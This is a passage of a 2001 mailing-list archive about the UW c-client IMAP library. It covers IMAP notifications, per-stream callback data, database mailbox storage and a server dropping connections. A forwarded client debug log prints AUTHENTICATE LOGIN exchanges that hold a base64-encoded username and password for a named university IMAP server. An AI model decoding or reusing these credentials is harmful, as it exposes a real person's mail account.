Yes. Part of IMAP since the very beginning. > Does it allow for a client to ask for Read Only connection so it > doesn't force another client off (only needed if you want a notify ony > tool) ? Yes. But as I said before you don't want, or need, a notify only tool. > If it allows either of these does UW-IMAP support them Yes. Since the beginning. > and is > there an IMAP client that makes uses of either of them so that it > provides a visual indication of new email from teh windows task bar ? Pine and every other good IMAP client in the world does. A client that doesn't do this is "not good" by definition. A "not good" client has to go to considerable effort to discard information from IMAP in order to do the wrong thing; IMAP sends that information whether or not the client asks for it. > People like the GUI look and feel , they like to be able to read html > email etc. Yes, it does seem that people are more concerned about HTML and pretty pictures and similar cosmetic details than whether it works well, or knows enough not to install viruses on your hard drive, or can handle more than a few hundred messages without collapsing. From pinedev@shivax2.cac.washington.edu Mon May 28 12:10:36 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 28 May 2001 12:10:36 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4SJAYD02456 for ; Mon, 28 May 2001 12:10:35 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon May 28 12:10:34 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4SJAWu17113; Mon, 28 May 2001 12:10:32 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4SJ8oE04804; Mon, 28 May 2001 12:08:50 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4SJ38042734 for ; Mon, 28 May 2001 12:03:08 -0700 Received: from louis.metrocat.org (sense-sea-CovadSub-0-167.oz.net [216.39.147.167]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4SJ37K20235 for ; Mon, 28 May 2001 12:03:07 -0700 Received: from diana.metrocat.org (diana.metrocat.org [192.168.1.7]) by louis.metrocat.org (8.11.0/8.11.0) with ESMTP id f4SJ55v05660 for ; Mon, 28 May 2001 12:05:05 -0700 Message-Id: <200105281905.f4SJ55v05660@louis.metrocat.org> Date: Mon, 28 May 2001 12:03:19 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Watkins To: C-Client Subject: Attaching custom data to MAILSTREAM Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've only just started using the c-client library, so please forgive me if this issue has been solved many times before. I'd like to have several windows open, each browsing a different mailbox. But the c-client library doesn't allow me to define my own callbacks for a given stream. I had thought about adding an element to the MAILSTREAM structure that I could use like the following example: void mm_exists( MAILSTREAM* Stream, unsigned long Number ) { if (Stream->my_ptr) ((MyClass*)Stream->my_ptr)->mm_exists( Number ); } and MyClass::MyClass() { stream= mail_open( NIL, "INBOX", NIL ); if (stream) stream->my_ptr= this; } But this has a significant flaw: a callback may be made before returning from mail_open and so the my_ptr member hasn't been set yet. Any suggestions? Jeff -- Jeff Watkins jeff@metrocat.org -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 29 00:26:51 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 29 May 2001 00:26:47 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4T7QkD30631 for ; Tue, 29 May 2001 00:26:46 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 29 00:26:45 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4T7QhC14479; Tue, 29 May 2001 00:26:43 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4T7NiE32578; Tue, 29 May 2001 00:23:44 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4T7Lu0128616 for ; Tue, 29 May 2001 00:21:56 -0700 Received: from dag.newtech.fi (IDENT:qmailr@www.newtech.fi [195.163.186.138]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4T7LtX12598 for ; Tue, 29 May 2001 00:21:55 -0700 Received: (qmail 3589 invoked by uid 200); 29 May 2001 07:21:47 -0000 Message-Id: <20010529072147.3588.qmail@dag.newtech.fi> Date: Tue, 29 May 2001 10:21:47 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@u.washington.edu Cc: dag@newtech.fi Subject: Re: Database mailbox storage Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, thanks to all of you for the feedback on the idea of mail-storage in a database. The feedback was encouraging enough to make me have a shot at it. I will during the summer try to set up a database and some access routines, some kind of "inject" for incoming mail and IMAP (through the c-client) for reading the mail. As I would like to reinvent as few wheels as possible: Does anyone of you know how "standalone" the rfc822.c in the IMAP distribution is ? I would need some kind of mailheader parser for the inject program. BRGDS -- = Dag Nygren email: dag@newtech.fi Oy Espoon NewTech Ab phone: +358 9 8024910 Tr=E4sktorpet 3 fax: +358 9 8024916 02360 ESBO Mobile: +358 400 426312 FINLAND From pinedev@shivax2.cac.washington.edu Tue May 29 07:30:13 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 29 May 2001 07:30:13 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TEU9D06385 for ; Tue, 29 May 2001 07:30:11 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 29 07:30:08 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TEU5u05017; Tue, 29 May 2001 07:30:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TEQvE32572; Tue, 29 May 2001 07:26:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TEPR071222 for ; Tue, 29 May 2001 07:25:27 -0700 Received: from ariane.ens-cachan.fr (root@ariane.ens-cachan.fr [138.231.176.4]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TEPQX22438 for ; Tue, 29 May 2001 07:25:26 -0700 Received: from piano.dptmaths.ens-cachan.fr (piano.dptmaths.ens-cachan.fr [138.231.32.2]) by ariane.ens-cachan.fr (8.12.0.Beta7/jtpda-5.3.3) with ESMTP id f4TEPOUN032571 for ; Tue, 29 May 2001 16:25:25 +0200 Received: from localhost (localhost [127.0.0.1]) by piano.dptmaths.ens-cachan.fr (8.9.1a/jtpda-5.3.2) with SMTP id QAA14769 for ; Tue, 29 May 2001 16:19:46 +0200 (MET DST) Message-Id: Date: Tue, 29 May 2001 16:19:44 +0200 (MET DST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: IMAP connection broken (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, does anyone have any idea why can the UW IMAP server (yes, I know it's an old version...) just break the connection like shown in the log below after AUTHENTIFICATE LOGIN? Is there any way to work around this? Thanks! VZ ---------- Forwarded message ---------- From: Guenter Milde Date: Tue, 29 May 2001 10:37:48 +0200 (CEST) To: mahogany-users@lists.sourceforge.net Subject: Re: Re: [M-User] IMAP connection broken X-Mailer: Mahogany, 0.62 'Mars', f=FCr Linux 2.2.12-20smp i686 Here it comes:=20 This is an attempt that failed: 10:21:37: Mail debug: * OK ptprs1.phy.tu-dresden.de IMAP4rev1 v10.190 serve= r ready 10:21:37: Mailbox 'Physik-INBOX' : ptprs1.phy.tu-dresden.de IMAP4rev1 v10.1= 90 server ready 10:21:37: Mail debug: 00000000 CAPABILITY 10:21:37: Mail debug: * CAPABILITY IMAP4 IMAP4REV1 SCAN SORT AUTH=3DLOGIN 10:21:37: Mail debug: 00000000 OK CAPABILITY completed 10:21:37: Mail debug: 00000001 AUTHENTICATE LOGIN 10:21:37: Mail debug: + VXNlciBOYW1lAA=3D=3D 10:21:37: Mail debug: Z3VlbnRlcg=3D=3D 10:21:37: Mail debug: + UGFzc3dvcmQA 10:21:37: Mail debug: YXR0aTN0dQ=3D=3D 10:21:40: Status: Mailbox 'Physik-INBOX' : IMAP connection broken (authenti= cate) 10:21:40: Mail debug: 00000001 NO [CLOSED] IMAP connection broken (authenti= cate) 10:21:40: Mailbox-Log:Trying IP address [141.30.17.64] 10:21:43: Status: Mailbox 'Physik-INBOX' : IMAP connection broken (authenti= cate) 10:21:43: Fehler: Mailbox-Log:Can not authenticate to IMAP server: [CLOSED]= IMAP connection broken (authenticate) 10:21:43: Mailbox-Log:Trying IP address [141.30.17.64] 10:21:43: Mail debug: * OK ptprs1.phy.tu-dresden.de IMAP4rev1 v10.190 serve= r ready 10:21:43: Mailbox 'Physik-INBOX' : ptprs1.phy.tu-dresden.de IMAP4rev1 v10.1= 90 server ready 10:21:44: Mail debug: 00000000 CAPABILITY 10:21:44: Mail debug: * CAPABILITY IMAP4 IMAP4REV1 SCAN SORT AUTH=3DLOGIN 10:21:44: Mail debug: 00000000 OK CAPABILITY completed 10:21:44: Mail debug: 00000001 AUTHENTICATE LOGIN 10:21:44: Mail debug: + VXNlciBOYW1lAA=3D=3D 10:21:44: Mail debug: Z3VlbnRlcg=3D=3D 10:21:44: Mail debug: + UGFzc3dvcmQA 10:21:44: Mail debug: YXR0aTN0dQ=3D=3D 10:21:45: Mail debug: 00000001 OK AUTHENTICATE completed 10:21:45: Mail debug: 00000002 CAPABILITY 10:21:45: Mail debug: * CAPABILITY IMAP4 IMAP4REV1 SCAN SORT AUTH=3DLOGIN 10:21:45: Mail debug: 00000002 OK CAPABILITY completed 10:21:45: Mail debug: 00000003 SELECT INBOX 10:21:45: Mail debug: * 0 EXISTS 10:21:45: Mail debug: * OK [UIDVALIDITY 974704174] UID validity status 10:21:45: Mail debug: * OK [UIDNEXT 8033] Predicted next UID 10:21:45: Mail debug: * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) 10:21:45: Mail debug: * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted = \Draft \Seen)] Permanent flags 10:21:45: Mail debug: * 0 RECENT 10:21:45: Mail debug: 00000003 OK [READ-WRITE] SELECT completed 10:21:45: Mailbox-Log:Mailbox is empty 10:21:45: Mail debug: 00000004 CHECK 10:21:46: Mail debug: 00000004 OK Check completed 10:21:46: Mailbox-Log:Check completed And this is a successfull attempt 10:30:18: Mail debug: * OK ptprs1.phy.tu-dresden.de IMAP4rev1 v10.190 serve= r ready 10:30:18: Mailbox 'Physik-INBOX' : ptprs1.phy.tu-dresden.de IMAP4rev1 v10.1= 90 server ready 10:30:18: Mail debug: 00000000 CAPABILITY 10:30:18: Mail debug: * CAPABILITY IMAP4 IMAP4REV1 SCAN SORT AUTH=3DLOGIN 10:30:18: Mail debug: 00000000 OK CAPABILITY completed 10:30:18: Mail debug: 00000001 AUTHENTICATE LOGIN 10:30:18: Mail debug: + VXNlciBOYW1lAA=3D=3D 10:30:18: Mail debug: Z3VlbnRlcg=3D=3D 10:30:18: Mail debug: + UGFzc3dvcmQA 10:30:18: Mail debug: YXR0aTN0dQ=3D=3D 10:30:18: Mail debug: 00000001 OK AUTHENTICATE completed 10:30:18: Mail debug: 00000002 CAPABILITY 10:30:19: Mail debug: * CAPABILITY IMAP4 IMAP4REV1 SCAN SORT AUTH=3DLOGIN 10:30:19: Mail debug: 00000002 OK CAPABILITY completed 10:30:19: Mail debug: 00000003 SELECT INBOX 10:30:21: Mail debug: * 0 EXISTS 10:30:21: Mail debug: * OK [UIDVALIDITY 974704174] UID validity status 10:30:21: Mail debug: * OK [UIDNEXT 8033] Predicted next UID 10:30:21: Mail debug: * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) 10:30:21: Mail debug: * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted = \Draft \Seen)] Permanent flags 10:30:21: Mail debug: * 0 RECENT 10:30:21: Mail debug: 00000003 OK [READ-WRITE] SELECT completed 10:30:21: Mail debug: 00000004 CHECK 10:30:21: Mail debug: 00000004 OK Check completed 10:30:21: Mailbox-Log:Check completed From pinedev@shivax2.cac.washington.edu Tue May 29 09:49:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 29 May 2001 09:49:17 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TGnGD29015 for ; Tue, 29 May 2001 09:49:16 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 29 09:49:15 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TGnDC26816; Tue, 29 May 2001 09:49:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TGn3X09848; Tue, 29 May 2001 09:49:04 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TGlq069500 for ; Tue, 29 May 2001 09:47:53 -0700 Received: from btclick.com (mta02.btfusion.com [62.172.195.247]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TGlpX30095 for ; Tue, 29 May 2001 09:47:52 -0700 Received: from vengeance.int.acris.co.uk ([213.123.192.180]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GE3VZL05.O6W for ; Tue, 29 May 2001 17:47:45 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id SAA30640 for ; Tue, 29 May 2001 18:48:49 +0100 Message-Id: <3B13D3CE.E07D1F26@acris.co.uk> Date: Tue, 29 May 2001 17:52:30 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Julian Hall To: c-client@u.washington.edu Subject: Re: Database mailbox storage References: <20010529072147.3588.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would suggest that you want to just define the driver, and use the 'tmail' and 'dmail' programs from the IMAP tools distribution as the inject program...? Then there wouldn't be any need to parse the headers as the c-client library would deal with it for you. Dag Nygren wrote: > Hi, > > thanks to all of you for the feedback on the idea of > mail-storage in a database. > > The feedback was encouraging enough to make me > have a shot at it. > > I will during the summer try to set up a database and > some access routines, some kind of "inject" for incoming > mail and IMAP (through the c-client) for reading the mail. > > As I would like to reinvent as few wheels as possible: > Does anyone of you know how "standalone" the rfc822.c in > the IMAP distribution is ? I would need some kind of mailheader > parser for the inject program. From pinedev@shivax2.cac.washington.edu Tue May 29 12:12:13 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 29 May 2001 12:12:12 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TJC6D30752 for ; Tue, 29 May 2001 12:12:08 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 29 12:12:04 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJC2C32180; Tue, 29 May 2001 12:12:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TJBcX20538; Tue, 29 May 2001 12:11:38 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJ8l006862 for ; Tue, 29 May 2001 12:08:47 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJ8ks06927 for ; Tue, 29 May 2001 12:08:47 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJ8k116046; Tue, 29 May 2001 12:08:46 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (koval@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJ8kC04944; Tue, 29 May 2001 12:08:46 -0700 Message-Id: Date: Tue, 29 May 2001 12:03:33 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jeff Watkins Cc: C-Client Subject: re: Attaching custom data to MAILSTREAM In-Reply-To: <200105281905.f4SJ55v05660@louis.metrocat.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 28 May 2001 12:03:19 -0700, Jeff Watkins wrote: > I'd like to have > several windows open, each browsing a different mailbox. But the > c-client library doesn't allow me to define my own callbacks for a given > stream. The standard way to do this is to have a global linked list matching MAILSTREAM to window (or structure including window). If the MAILSTREAM isn't on the list, you can either instantiate one or return NIL and disregards it. This is what I did with my NeXT MailManager application 12 years ago, and with my MM-D application on Xerox Lisp machines before that. Since you're only going to have a few windows open at any time, it's alright to run down a linked list. If you were doing something on a server, juggling hundreds of MAILSTREAMs, then you might want a hash lookup. From pinedev@shivax2.cac.washington.edu Tue May 29 12:21:51 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 29 May 2001 12:21:51 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TJLoD18868 for ; Tue, 29 May 2001 12:21:50 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 29 12:21:49 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJLkC32653; Tue, 29 May 2001 12:21:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TJLXH23944; Tue, 29 May 2001 12:21:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJJm042378 for ; Tue, 29 May 2001 12:19:48 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJJmF07525 for ; Tue, 29 May 2001 12:19:48 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJJmo24817; Tue, 29 May 2001 12:19:48 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (nark@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TJJmC07300; Tue, 29 May 2001 12:19:48 -0700 Message-Id: Date: Tue, 29 May 2001 12:17:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: IMAP connection broken (fwd) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 29 May 2001 16:19:44 +0200 (MET DST), Vadim Zeitlin wrote: > does anyone have any idea why can the UW IMAP server (yes, I know it's an > old version...) just break the connection like shown in the log below after > AUTHENTIFICATE LOGIN? Is there any way to work around this? A server that just breaks the connection is probably crashing. It's a very old version, and it's probably hacked in some unknown way. There isn't anything reasonable that a client can do about it. If the site is complaining, tell them to upgrade to a modern, unhacked, version. From pinedev@shivax2.cac.washington.edu Tue May 29 14:43:44 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 29 May 2001 14:43:44 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TLhfD02281 for ; Tue, 29 May 2001 14:43:42 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 29 14:43:40 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TLhcu21790; Tue, 29 May 2001 14:43:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4TLhME26834; Tue, 29 May 2001 14:43:22 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TLes081198 for ; Tue, 29 May 2001 14:40:54 -0700 Received: from diana.metrocat.org (sense-sea-CovadSub-0-167.oz.net [216.39.147.167]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4TLerK18985 for ; Tue, 29 May 2001 14:40:53 -0700 Received: from diana.metrocat.org (localhost [127.0.0.1]) by diana.metrocat.org (8.10.2/8.11.3) with ESMTP id f4TLf5X02487; Tue, 29 May 2001 14:41:05 -0700 (PDT) Message-Id: <200105292141.f4TLf5X02487@diana.metrocat.org> Date: Tue, 29 May 2001 14:41:04 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Watkins To: Mark Crispin Cc: C-Client Subject: Re: Attaching custom data to MAILSTREAM In-Reply-To: Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > The standard way to do this is to have a global linked list matching > MAILSTREAM to window (or structure including window). If the MAILSTREAM > isn't > on the list, you can either instantiate one or return NIL and disregards > it. The way I'm more familiar with is supplying a user data item to the create (or mail_open in this case) function. That way there is no lookup cost. The create function sets the user data member before any methods could possibly be called. I looked into modifying the library to support this, but there seems to be eight million calls to mail_open for most of which I'm not certain I understand the context sufficiently. I've implemented a lookup using an STL map (which is probably overkill for having two or three windows) but it works. Jeff -- Jeff Watkins jeff@metrocat.org From pinedev@shivax2.cac.washington.edu Wed May 30 02:04:53 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 30 May 2001 02:04:52 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4U94pD31777 for ; Wed, 30 May 2001 02:04:52 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed May 30 02:04:50 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4U94lC22914; Wed, 30 May 2001 02:04:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4U94dp34862; Wed, 30 May 2001 02:04:39 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4U93J044236 for ; Wed, 30 May 2001 02:03:19 -0700 Received: from btclick.com (mta02.btfusion.com [62.172.195.247]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4U93IF24488 for ; Wed, 30 May 2001 02:03:18 -0700 Received: from vengeance.int.acris.co.uk ([213.123.192.180]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GE555A05.P0T for ; Wed, 30 May 2001 10:03:10 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id LAA02270 for ; Wed, 30 May 2001 11:04:10 +0100 Message-Id: <3B14B870.2216783D@acris.co.uk> Date: Wed, 30 May 2001 10:08:01 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Julian Hall To: C-Client Subject: Re: Attaching custom data to MAILSTREAM References: <200105281905.f4SJ55v05660@louis.metrocat.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I haven't done this with C-Client, but when writing a C++ class library for Windows I encountered a similar problem (ie, I was storing a pointer to the Window object using SetWindowLong/GetWindowLong, but couldn't do this until after CreateWindow() returned by which time several callbacks had occurred that I wasn't able to process). I solved this by having a global variable which was a pointer to the object that was currently being created, therefore if the pointer within the native structure hadn't been set to non-NULL, I could just assume that the global variable should be used instead. Jeff Watkins wrote: > I've only just started using the c-client library, so please forgive me > if this issue has been solved many times before. I'd like to have > several windows open, each browsing a different mailbox. But the > c-client library doesn't allow me to define my own callbacks for a given > stream. I had thought about adding an element to the MAILSTREAM > structure that I could use like the following example: > > void mm_exists( MAILSTREAM* Stream, unsigned long Number ) > { > if (Stream->my_ptr) > ((MyClass*)Stream->my_ptr)->mm_exists( Number ); > } > > and > > MyClass::MyClass() > { > stream= mail_open( NIL, "INBOX", NIL ); > if (stream) > stream->my_ptr= this; > } > > But this has a significant flaw: a callback may be made before returning > from mail_open and so the my_ptr member hasn't been set yet. > > Any suggestions? > > Jeff > > -- > Jeff Watkins > jeff@metrocat.org > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 30 05:14:54 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 30 May 2001 05:14:53 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4UCEqD20760 for ; Wed, 30 May 2001 05:14:52 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Wed May 30 05:14:52 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu 